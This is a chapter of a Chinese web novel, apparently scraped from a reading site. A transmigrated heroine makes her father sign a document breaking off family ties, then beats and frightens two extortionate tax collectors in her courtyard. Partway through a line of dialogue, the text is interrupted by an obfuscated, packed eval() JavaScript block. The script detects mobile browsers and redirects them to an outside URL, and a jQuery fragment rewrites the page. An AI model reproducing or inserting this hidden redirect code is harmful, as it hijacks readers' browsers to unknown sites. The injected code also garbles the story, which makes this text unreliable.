42. 第 42 章
作品:《如何成为皇城根底下人[四零]》 有些动物园虽然交钱能摸摸猫科猛兽幼崽,但林绿鹉不赞成这种行为。
钱一寰说道:“我有一个沙特的朋友,回去后可以介绍给你认识。”
林绿鹉眼睛闪闪发亮,激动地原地转圈,“钱一寰你真是太好了!”
林绿鹉今天的嘴特别甜,她本来就是个甜妹,虽然武力值高了点。
如今觉得将来的日子蛮有奔头,提起回家的事都能用开玩笑的口吻了,穿越的最后一丝阴影已然散去,就当出去远游一趟吧。
到家后,洗了手坐下来,看着那一大碗加剁椒、蒜末、香醋拌出来的凉拌南瓜苗,夹起一大筷子裹着爽辣汁水的茎叶,林绿鹉眼神亮晶晶地望着钱一寰,不过脑道:“钱一寰你简直是爹系男友一枚呀!”
钱一寰不经林绿鹉夸,脸色爆红,刚平复一下心境,抬眼去看林绿鹉,看到的是将整张脸埋到碗里,努力干饭的林绿鹉。
钱一寰心里默默地叹了叹气,他在林绿鹉心中的地位什么时候能比得上干饭?他将饭越做越做好吃,岂不是越没地位吗?
这一天林绿鹉在后山竹林奋斗,钱一寰在山脚下院子里奋斗,两人各得其乐,建立了一种很舒服的相处方式。
到了夜晚,将竹林来来回回走遍的林绿鹉不怕夜里一个人睡了。
她和钱一寰毕竟不是同性,一对年轻的男女,生理性差异可是很大,于是乎林绿鹉和钱一寰分房睡了。
在乡野的五月下旬,各种瓜苗正鲜嫩,翠绿的藤蔓爬满了田垄,新抽的嫩梢带着绒毛,可爱得紧。
林绿鹉在院墙边下磨着箭矢,就看到刘文清灰溜溜地走了进来。
他这次没带着看热闹的人来,也没带着他那副严父的架子,而是手里拿着一个鼓起来的灰色布包,鬼鬼祟祟的,东张西望生怕被人瞧见。
林绿鹉直起腰,戏弄道:“哟,这不是我的好爹嘛,今天不给人当长工,来我这干嘛来了?不会是周家嫌你吃得多干得少,不要你了,你来我这讨饭来了吧?”
刘文清在林绿鹉的挤兑下,脸色青紫道:“绿鹉,爹……爹来还钱来了。”
刘文清的嗓子干涩,像是被人掐着脖子说话。
林绿鹉闻言抬了抬眼皮,似笑非笑道:“是吗?不是说钱都给我娘治病了嘛,爹你应该去还债主的钱呀,怎么来还我了呢?哦,对了爹酒楼的钱您还上了?”
刘文清的脸色灰败无比,硬着头皮道:“爹先还你的,你等着米下锅呢,绿鹉你收下这些钱,爹想跟你好好谈谈。”
林绿鹉轻嗤一声,暗道,不钱财两清,恩绝义断嘛,刘文清都要这么做了,还假模假样的。
林绿鹉将箭矢放到石磨上,拍了拍手,慢悠悠道:“谈什么?谈这些年你怎么顾着刘景扬和周棠音,将我当做丫鬟来看待?要不是我性子倔,没那么软,怕不是给自己的亲爹、亲哥、继姐当起奴才来了!”
刘文清的额角青筋跳了跳,心底起了怒火,林绿鹉怎么又翻起了旧账,她就不能有个文静的淑女样吗?
但想起刘景扬和周棠音的前途,他终究是忍了下来,刘文清深吸一口气,将手里头的布包递出来,努力心平气和道:“绿鹉,爹知道这些年亏待了你,可是爹也没法子,你读书比不上你哥你姐,家里就那么点钱……”
见林绿鹉面色一冷,刘文清赶紧改口,快速快决道:“这是爹凑来的钱,你点点,我们把账清了,以后谁也不欠谁的。”
林绿鹉没有犹豫地接过布包,掂了掂,沉甸甸的,打开一看,里面少说也有三四十块大洋。
她眉梢微挑,心里冷笑,刘文清真是舍得一身剐,也不怕自己不能翻身了。
“爹,您这是把棺材本都掏出来了?万一以后刘景扬和周棠音要是不孝顺您怎么办?要不,您还是再考虑考虑,欠我家的还不还吧?”林绿鹉故意说道。
刘文清干笑两声,只回答了半截,“这钱是爹借的。”
刘文清不说,林绿鹉心里也门清,这世道只有无缘无故抢钱的,可没有钱从天上掉下来的,刘文清那么喜欢周棠音的娘,要是真有私房钱,早就掏出来送周棠音的娘去住西洋医院了。
至于刘文清为什么要还钱,林绿鹉也一清二楚。
她抬眸,讥讽道:“爹,您该不会是怕我真去教育局举报刘景扬和周棠音,让他们两个没大学上吧?”
刘文清脸色顿时煞白。
林绿鹉居然也想到这一层了,原本他打算先晓之以理动之以情,和林绿鹉断绝关系的。
现在怎么办?他想到的,林绿鹉这个逆女也想到,她肯定会狮子大开口!
刘文清急得一脑门子的汗,见林绿鹉似笑非笑地看着他,刘文清索性不装了,咬牙道:“绿鹉,爹知道你有怨气,不谈棠音,就说景扬,景扬可是你亲哥,你不能毁了他的前程!要不然我这个爹跟你拼命!”
林绿鹉面色不变,轻嗤一声,“亲哥?他只理睬周棠音的时候,怎么不记得我是他亲妹妹?他空口白牙认定我将周棠音推倒变瞎,他怎么没想起他是我亲哥?他家丑往外扬,往外揭我的底,说我不爱学习,怎么忘了是我亲哥呢?爹你还要我说下去吗?”
刘文清被噎得说不出话,只能腆着脸道:“欠你们林家的我已经还了,你……你得把这个签了。”
说着刘文清从怀里掏出一张纸,递了过来。
林绿鹉接过低头一看,果不其然是断情书,上面清清楚楚写着:
“林绿鹉自愿与刘文清、刘景扬、周棠音断绝父女、兄妹、姐妹关系,此后双方再无瓜葛,当初因事用掉的林家家产已经还清,林绿鹉不得再行讨要,借此生事。”
林绿鹉眯了眯眼睛,心里冷笑,要是没了这几层关系,那她去举报刘景扬污蔑亲妹也就不成立了,刘绿鹉受过的委屈今后也不能提了。
刘文清是下了狠心,索性一次性解决掉她这个麻烦呀。
这钱当然是要收下的,但也得吓吓刘文清,林绿鹉故作犹豫道:“爹,您这是要跟女儿我一刀两断?”
话一出口,林绿鹉有些不适应,脑子里突然冒出来一句话“小女子应在江湖悠悠”,可这个时候凡是上过学堂的人,说话都这么个古风腔调。
就在林绿鹉努力憋笑的时候,刘文清眼神闪烁,语气却强硬道:“绿鹉,爹也是为了你好!你既然觉得爹亏待了你,那我们就干脆掰扯个清楚,省得日后闹心!”
林绿鹉撇撇嘴,刘文清今天跟她说的话,比以往一整年都多。以前那个高冷疏离的文人爹变成啰里啰嗦的苦情爹了。
林绿鹉也不想听刘文清的声音,她佯装委屈地叹了口气,“行吧,既然爹都这么说了,那这断绝关系书,我签。”
刘文清有备而来,生怕迟则生变,连笔都带来了,林绿鹉接过笔,正要落款,忽然又停住,抬头看着刘文清。
刘文清脸色铁青咬牙道:“钱已经够了,连同林家养我和景扬的钱也算在内了。”
林绿鹉慢吞吞道:“爹不对,这断亲书只有一张,万一您将来反悔怎么办?”
刘文清觉得气极反笑道:“我怎么反悔?”
林绿鹉指了指自己,抬了抬下巴,自傲道:“将来我这只乡下小麻雀变成了北平的凤凰,你不就想反悔了嘛。”
“绝对不可……”刘文清想到自己是在有求于林绿鹉,将口中斩钉截铁的话给吞了回去。
他笑得温和道:“绿鹉,他日你高就了,爹也不会反悔的,爹只会为你感到高兴,爹人穷志不短,一言既出驷马难追的道理爹还是懂的。”
刘文清对林绿鹉说的话没有一丝一毫的触动,他养得女儿什么性子他不知道。
好吃懒做,要不是见继姐去上新式中学不忿,闹得也要上学,这辈子就是个识字几个大字的村姑。还凤凰,全天下的麻雀都死光了,也轮不到林绿鹉。
刘文清本来还心疼不已花出去的大洋,林绿鹉这么一说倒提醒他了,这钱花得值,既能防止林绿鹉去诬告,将来刘文清和周棠音去洋行做事了,林绿鹉攀上来他也能将她拒之门外。
林绿鹉微微一笑道:“既然爹您都这么说了,也不是女儿不信您,那请您多写一张断亲书吧,一式两份,你我两家各自一份留着做凭证。”
刘文清想心急吃热豆腐,也吃不了,只能点了点头。
两人进了堂屋,林绿鹉让刘文清等着,拿来纸、笔和印泥,刘文清很快照抄出了一份断亲书。
刘文清先签字摁手印,将两份断亲书转到林绿鹉面前,用眼神催促她赶紧地。
林绿鹉残忍地摇了摇头,道:“爹是不是忘了些什么了?”
刘文清脸色脸色瞬间铁青,他怒声道:“林绿鹉你还要多少钱直说!”
就在刘文清快要绷不住时,院门被推开了,钱一寰大步走了进来。
他扫了一眼八仙桌上的银元和断亲书,眉头微皱,但很快又舒展开来,笑吟吟道:“哟,刘叔这是来还债了?”
刘文清见到钱一寰,脸色更难看了。和周棠音一样,刘文清将林绿鹉如今变得如此难缠的原因,归咎到钱一寰身上。
钱一寰是唯一的变数,自从他来到林绿鹉身边后,林绿鹉就性情大变,出言顶撞生父、长兄和长姐,还将他们扫地出门。
钱一寰如此心急又精明,林绿鹉能在他手里讨得了好?一定会被中山狼的甜言蜜语给骗了,最后一无所有,说不定命都没了,被人卖去腌臜之地。
刘文清这么想着,心气顺了许多,他不想和比他高了个头的钱一寰对上,于是假装看见他,看着林绿鹉,急忙道:“到底怎样你才肯签字摁手印,你赶紧说。”
林绿鹉不紧不慢道:“爹你别着急呀,你就这么不想听我叫你爹吗?也不是什么钱不钱的问题,只是这断亲书上只有我和你签名手印怎么行?那两个呢,他们也要签字摁手指。”
刘文清担心她将来反悔,她也担心刘文清他们三个人将来翻脸不认这断亲书,想要跟她攀亲戚呢!
林绿鹉的要求这么简单,刘文清马上喜不自胜道:“你等着!我去让景扬和棠音签字摁手指!”
刘文清边说边拿着笔和印泥往外跑。
林绿鹉和钱一寰对视一眼,噗嗤一笑。
合着刘景扬和周棠音就在这附近躲起来当缩头乌龟,等着刘文清的好消息呢。
果然,没一会儿刘文清就风风火火地拿着签好的两张断亲书回来了。
出乎刘文清的意料,接下来很顺利,林绿鹉再没有多说废话,她认真地再看了一遍断亲书,就签了自己的大名,在落款处摁下鲜红的手指印。
林绿鹉将她的那份断亲书递给钱一寰,让他放好,对着刘文清说道:“刘先走,慢走不送,以后别上我家的门来了,我这不欢迎你。”
听着林绿鹉痛痛快快地喊他“刘先生”,刘文清脸成了猪肝色。
钱一寰适时补刀道:“刘先生怎么还不走?我回来时经过周家的地,听到他们正在骂你呢,说你再不回来干活,今天就别想吃饭了。”
刘文清被两人轰走后,林绿鹉一屁股坐下来,箭也不磨了,心情愉快地数起了银光四射的大洋。
钱一寰坐在对面,低声说道:“刘文清还真敢白刀子进红刀子出的亡命之徒借钱呀。”
林绿鹉耸了耸肩,面上一派冷漠道:“人各有命。”
刘文清哪来的那么多钱借给他们?只能去借高利贷了。
刘文清对于刘景扬和周棠音可真是个一等一的好父亲,即使他一心想两人给他争脸面,光耀门楣。
林绿鹉第一次露出这种冷面杀手气质,钱一寰有点不适应,假咳一声,缓和气氛说道:“只要刘文清能挨住这三四年,欠再多的钱也不用还了。有刘景扬和周棠音在呢,他们认识那么有关系的同龄人,怎么也不会让刘文清被断手断脚。”
林绿鹉无所谓地点了点头,算是附和钱一寰的话。
“里面的人出来交钱!”一道粗犷暴躁的声音从院门外传进来。
林绿鹉赶紧将一包的大洋丢给钱一寰,急忙道:“快收到空间里去,收税的人来了!”
见大洋在钱一寰手里消失不见了之后,林绿鹉马上平静了下来,安安稳稳地坐着,她要引匪入瓮。
果不其然,门外两个穿着黑色制服,袖口上有三道白杠的人见没人出来,屋里也没声,马上就扬了扬手里的棍子,一脸横气地走进来了,嘴里还骂骂咧咧的。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098249|179327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人呢!死哪里去!交钱!交不起钱的给我去牢里待着去!墙皮都给你刮了!”
坐在凳子上的钱一寰大气不敢出,真是坐立难安、如坐针毡、如芒刺背,倒不是因为即将要闯进来的两个狐假虎威之人。
而是因为他听到了旁边林绿鹉手指咔嚓咔嚓声音,感受到林绿鹉她那想要刀人从而迸发出来太阳之光。
为首的矮胖男人先进来,看到林绿鹉和钱一寰愣愣,调笑道:“哟,还是两个细皮嫩肉的小年轻,你家大人呢,叫你家大人出来谈话。”
林绿鹉淡淡道:“我家大人跑了。”
随后进来的三角眼踢翻了门前的竹筐,狞笑道:“跑了,没钱是吧,你们两个正好,男的去当壮丁,女的嘛我看看我哪个上司缺个小老婆了。”
话音刚落,三角眼就被钱一寰泼了一脸的热水。
“啊!烫死我了!”三角眼跳脚道。
钱一寰站起来,冷冷说道:“刚烧开的热水,便宜你了,要是再污言秽语,泼到你脸上的不是水,那就是火了!”
三角眼和矮胖男对视几眼,第一次遇到这种情况,不该他们弯腰送上多于的钱额,然后像请大神那般将他们送走的吗?
林绿鹉也站了起来,慢慢朝着两个人走过去,边捶打着拳头,边轻声道:“要钱没有,要人也没有,我只有一样,那就是拳头,你们要是想要管够,不想要那你赶紧走,以后也不要来了。”
这时天空中飘过一朵云,遮住了太阳,堂屋里的光线忽然一暗,三角眼颤声道:“你们到底是人是鬼?”
矮胖男不客气地给他一巴掌,狠厉地瞪着林绿鹉和钱一寰,没好气道:“我看是装神弄鬼!”
钱一寰抱手站在两人面前,居高临下道:“两位我直说了吧,我们不想交钱。”
三角眼一边揉着脸,一边斥骂道:“不想交钱那怎么行!这钱人人都要交!”
林绿鹉插嘴问道:“那你们要不要交?”
三角眼脱口而出道:“我们当然不用交,这钱是交给我们,让我们来保护你们的。”
林绿鹉当即“呵呵”两声,那欺负他们的人又是谁呢?好难猜呀。
钱一寰看着这两张横征暴敛、鱼肉百姓的脸就暴躁,说道:“我们不交,你们想怎么办吧?”
矮胖男和三角眼不约而同地抡了抡手里的棍子,嘿嘿一笑道:“好个刁民!竟然不听上头的征令!那就看是你们的骨头硬还是我们的棍子硬了。”
林绿鹉歪头一笑,轻声道:“我们的骨头硬,你们的棍子也硬,但不如我的鞋底硬。”
什么?两个男人都没有反应过来,眼前就一黑,凌厉的疾风的刮过他们的脸,他们感到身上一疼,就跌倒在地了。
打了他们还怕脏了她的手,这两人只配吃她的鞋底。林绿鹉收回脚,对着钱一寰道:“将他们捆起来。”
钱一寰双手抱拳贫嘴道:“女侠!”
接着他将两人反手压住,犹豫问道:“要不要将他们的嘴堵上?”
“救命呀!救命!”钱一寰不说还好,一说到提醒两人了,扯开嗓子求救。
林绿鹉背着手,摇头道:“不用,他们喊破嗓子也不会有人来救他们的,人们听到他们的声音,只想躲得远远的。”
钱一寰按照林绿鹉的指示,将两人推出屋子,用一根手臂粗的棍子抵住他们的脖颈,让两人贴着院墙站立。
林绿鹉在两人的前方立定,一手拿着弓,一手拿着箭,指着院门方向,说道:“你们两个看到没有,今天我还没怎么练箭呢,正好缺个靶子,你们撞上来了,那我就拿你们两个来练练手吧。”
三角眼和矮胖男这才看到院门上密密麻麻的箭眼,他们马上控制不住抖成筛子,哭丧着脸道:“姑奶奶饶命呀,钱我们不收了,您宰相肚子里能撑船,放小的走吧。”
林绿鹉冷哼一声,拉开架势,道:“晚了。”
她不真吓吓他们,第二天保证这两人带着一帮子人来打砸。
矮胖男和三角眼脸色噌地一秒变白了,两腿颤颤。
见状,林绿鹉眯起眼睛,笑容“和蔼”道:“两位真想尿了,也千万忍着,要是脏了我的地,我就把罪魁祸首给废了解气。”
两个男人倏地哆嗦着并拢双腿,连声道:“不敢,不敢。”
“可千万别乱动呀。”林绿鹉轻飘飘说道,两个男人忍不住闭上眼睛,动那是一点也不敢动。
钱一寰松开棍子,出声道:“行了,可以睁开眼睛了。”
女可怕,男的说不定也憋着什么大招等着他们呢,这声音在两个男人耳朵里宛如罗刹,他们一听飞快地睁开眼睛。
两支箭立在他们耳侧,他们稍微偏头就能碰到,矮胖男和三角眼“扑通”一声跪下,边朝林绿鹉磕头边道:“姑奶奶饶命啊,您也出气了,就饶了我们吧,小的身上有些薄钱,您拿去卖几盒胭脂水粉吧。”
林绿鹉不屑道:“谁想要你们的臭钱!”
这两人身上的钱还不是从林家村村民手里抢走的。
但她只能先救自己,救不了他们,这种感觉很不好,林绿鹉的声音越发地冷了,“我告诉你们两个,我知道你们住在县城里,我去稍微打听一下就能知道你们的住址。”
林绿鹉之所以敢反抗,那是因为她知道他们这些人就是个草台班子,热武器没几把,有也用不到敛财上面。
这两个人能混到下乡刮油水的地步,显然是被排挤,或者没什么后台的,她也不怕将来换人来收苛捐杂税。
“我们孤身二人,可不像你们两位说不定都不止一个家呢!要是你们敢事后报复,哼哼……”
两个男人连忙举起手对天发誓道:“不敢,我们绝对不敢报复回来!日后我们绕着您家走!”
林绿鹉一扬下巴,“行了你们走吧,别让我再看你们,要不然下一次我的箭可真不长眼睛了。”
“是是!”两个男人连声说道。
钱一寰看着三角眼,忽然出声道:“这位是不是忘了什么?”
三角眼也是个人精,一拍脑袋道:“小的这就去把箩筐立好!”
矮胖男人闻言,见没他的事,也不等同伴,飞快地钻出院门。